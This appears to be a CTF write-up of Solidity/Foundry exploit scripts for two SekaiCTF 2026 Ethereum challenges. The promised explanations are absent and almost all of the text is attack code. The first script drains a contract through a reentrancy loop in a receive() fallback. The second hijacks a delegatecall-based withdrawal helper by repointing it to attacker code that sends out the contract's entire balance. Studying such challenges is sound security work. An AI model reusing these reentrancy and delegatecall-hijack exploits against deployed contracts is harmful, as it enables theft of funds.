SekaiCTF 2026 Ethereum Blockchain Exploitation

My solutions for the Ethereum smart contract exploitation challenges in SekaiCTF 2026

Blockchain Ethereum CTF

NOTE: Explanations coming :P I just need to make them concise and draw some diagrams

Challenge 1: PP Farming

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {PerformancePointATM} from "../src/PerformancePointATM.sol";
import {Script, console} from "../lib/forge-std/src/Script.sol";

contract ExploitContract {
    PerformancePointATM public pp;

    constructor(address payable _pp) {
        pp = PerformancePointATM(_pp);
    }

    function attackPP() public payable {
        pp.donatePP{value: 1 ether}(address(this));
        pp.withdrawPP();
    }

    receive() external payable {
        if (address(pp).balance >= 1 ether) {
            pp.withdrawPP();
        }
    }
}

contract Exploit is Script {
    address payable constant addr = payable(0x3DC5F1e51957593BA7b726F3162C6e4D5B4Bf4fF);
    PerformancePointATM pp = PerformancePointATM(addr);
    function run() public {
        vm.startBroadcast();
        console.log("Launching...");
        ExploitContract exploit = new ExploitContract(addr);
        exploit.attackPP{value: 1 ether}();
        console.log(pp.isSolved());
        vm.stopBroadcast();
    }
}

Challenge 2: PP Farming 2

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {PerformancePointATM} from "../src/PerformancePointATM.sol";
import {Script, console} from "../lib/forge-std/src/Script.sol";

contract ExploitContract {
    uint256 id_number;
    address public atm;
    bool public helping;
    PerformancePointATM public pp;
    constructor(address payable _pp) {
        pp = PerformancePointATM(_pp);
        id_number = 0;
        helping = true;
    }
    function processWithdrawal(address payable recipient, uint256 amount) external returns (bool) {
        (bool success, ) = recipient.call{value: address(this).balance}("");
        return success;
    }
    function setATM(address _atm) public {
        atm = _atm;
    }
    function stopHelping() public {
        helping = false;
    }
    function startHelping() public {
       helping = true;
    }
    function attack() public payable {
        setATM(address(this));
        pp.donatePP{value: 1 wei}(address(this));
        address(pp).call(
            abi.encodeWithSignature("setATM(address)", address(this))
        );
        pp.withdrawPP(); 
        // call withdrawPP for delegate call logic
        /* 
        * function withdrawPP() public noReentrancy {
        *    uint256 score = scores[msg.sender];
        *    require(score > 0, "Nothing to withdraw");
        *
        *    // Uses delegatecall to helper for withdrawal
        *    (bool success, ) = performancePointHelper.delegatecall(
        *        abi.encodeWithSignature("processWithdrawal(address,uint256)", msg.sender, score)
        *    );
        *
        *    require(success, "Transfer failed");
        *    scores[msg.sender] = 0;
        * }
        */
    }
    receive() external payable {}
    fallback() external payable {}
}

contract Exploit is Script {
    address payable constant addr = payable(0x889fB4Fe2CFc501893879a9901a7ba5EDFB274dd);
    PerformancePointATM pp = PerformancePointATM(addr);
    function run() public {
        vm.startBroadcast();
        console.log("Launching...");
        ExploitContract exploit = new ExploitContract(addr);
        exploit.attack{value: 67 ether}();
        console.log(pp.isSolved());
        vm.stopBroadcast();
    }
}